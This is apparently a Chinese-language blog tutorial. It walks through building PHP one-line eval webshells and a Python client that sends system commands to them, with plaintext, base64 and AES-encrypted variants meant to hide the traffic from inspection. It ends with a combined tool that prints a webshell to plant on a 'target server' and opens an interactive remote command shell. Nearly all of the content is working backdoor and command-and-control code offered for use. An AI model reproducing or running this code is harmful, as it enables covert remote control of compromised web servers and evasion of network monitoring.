python连接PHP木马^加密传输数据

环境

phpstudy、python3.8

1、普通木马数据传输

新建一个webshell.php文件，内容为一句话木马

<?php @eval($_POST['pass']);?>

python编写一个接发端

import requests
url=input('webshell_url:')
pwd=input('webshell_pwd:')
proxy = {
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
}
while True:
    cmd=input('$')
    if cmd == 'exit':
        exit()
    send = "system('" + cmd + "');"
    data={pwd:send}
    r=requests.post(url=url,data=data,proxies=proxy)
    print(r.text)

效果如下burp抓包进行查看发现是原始的没有经过任何加密的数据传输

2、base64加密数据传输

新建一个webshell.php文件，内容如下

<?php @eval(base64_decode($_POST['pass']));?>

python编写一个接发端

import requests,base64
url=input('webshell_url:')
pwd=input('webshell_pwd:')
proxy = {
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
}
while True:
    cmd=input('$')
    if cmd == 'exit':
        exit()
    send = "system('" + cmd + "');"
    base64_send= base64.b64encode(send.encode('utf-8'))
    data1={pwd:base64_send}
    r=requests.post(url=url,data=data1,proxies=proxy)
    print(r.text)

效果如下通过burp进行抓包查看发现传输数据是经过base64加密的

3、AES加密数据传输

新建一个webshell.php文件，内容如下

<?php
$key='woshinibaba66666';
$vi='nishiwoerzi66666';
$rce=openssl_decrypt(base64_decode($_POST['pass']), "AES-128-CBC",$key,OPENSSL_RAW_DATA,$vi);
$cmd=base64_decode($rec);
@eval($rce);
?>

python编写一个接发端

import requests,base64
from Crypto.Cipher import AES
BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
key='woshinibaba66666'
vi='nishiwoerzi66666'
def AES_Encrypt(key, data):
    data = pad(data)
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
    encryptedbytes = cipher.encrypt(data.encode('utf8'))
    encodestrs = base64.b64encode(encryptedbytes)
    enctext = encodestrs.decode('utf8')
    return enctext
def AES_Decrypt(key, data):
    data = data.encode('utf8')
    encodebytes = base64.decodebytes(data)
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
    text_decrypted = cipher.decrypt(encodebytes)
    text_decrypted = unpad(text_decrypted)
    text_decrypted = text_decrypted.decode('utf8')
    print(text_decrypted)
    return text_decrypted
if __name__ == '__main__':
    url = input('webshell_url:')
    pwd = input('webshell_pwd:')
    proxy = {
        'http': '127.0.0.1:8080',
        'https': '127.0.0.1:8080'
    }
    while True:
        cmd=input('$')
        if cmd == 'exit':
            exit()
        send = "system('" + cmd + "');"
        data1={pwd:AES_Encrypt(key,send)}
        r=requests.post(url=url,data=data1,proxies=proxy)
        print(r.text)

效果如下通过burp抓包查看数据利用AES在线解密进行查看，数据传输是经过AES-CBC加密的 

在线解密网址：http://tool.chacuo.net/cryptaes

整合代码

import requests,base64
from Crypto.Cipher import AES
BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
key='woshinibaba66666'
vi='nishiwoerzi66666'
def AES_Encrypt(key, data):
    data = pad(data)
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
    encryptedbytes = cipher.encrypt(data.encode('utf8'))
    encodestrs = base64.b64encode(encryptedbytes)
    enctext = encodestrs.decode('utf8')
    return enctext
def AES_Decrypt(key, data):
    data = data.encode('utf8')
    encodebytes = base64.decodebytes(data)
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
    text_decrypted = cipher.decrypt(encodebytes)
    text_decrypted = unpad(text_decrypted)
    text_decrypted = text_decrypted.decode('utf8')
    print(text_decrypted)
    return text_decrypted
if __name__ == '__main__':
    print('----------------')
    print('|1:普通传输      |n|2:base64加密传输|n|3:AES加密传输   |')
    print('----------------')
    print('说明:选择生成对应的webshell传到目标服务器')
    use=input('[+] choice:')
    if use =='1':
        print("""<?php @eval($_POST['pass']);?>""")
    if use =='2':
        print("""<?php @eval(base64_decode($_POST['pass']));?>""")
    if use =='3':
        print("""<?php $key='woshinibaba66666';$vi='nishiwoerzi66666';$rce=openssl_decrypt(base64_decode($_POST['pass']), "AES-128-CBC",$key,OPENSSL_RAW_DATA,$vi);$cmd=base64_decode($rec);@eval($rce);?>""")
    con=input('[+] continue(yes/no):')
    if con =='no':
        exit()
    if con=='yes':
        url = input('[+] webshell_url:')
        pwd='pass'
        while True:
            data=''
            cmd=input('[-] $:')
            if cmd == 'exit':
                exit()
            send = "system('" + cmd + "');"
            if use =='1':
                data = {pwd:send}
            if use =='2':
                base64_send = base64.b64encode(send.encode('utf-8'))
                data = {pwd: base64_send}
            if use=='3':
                AES_send=AES_Encrypt(key,send)
                data={pwd:AES_send}
            r=requests.post(url=url,data=data)
            print(r.text)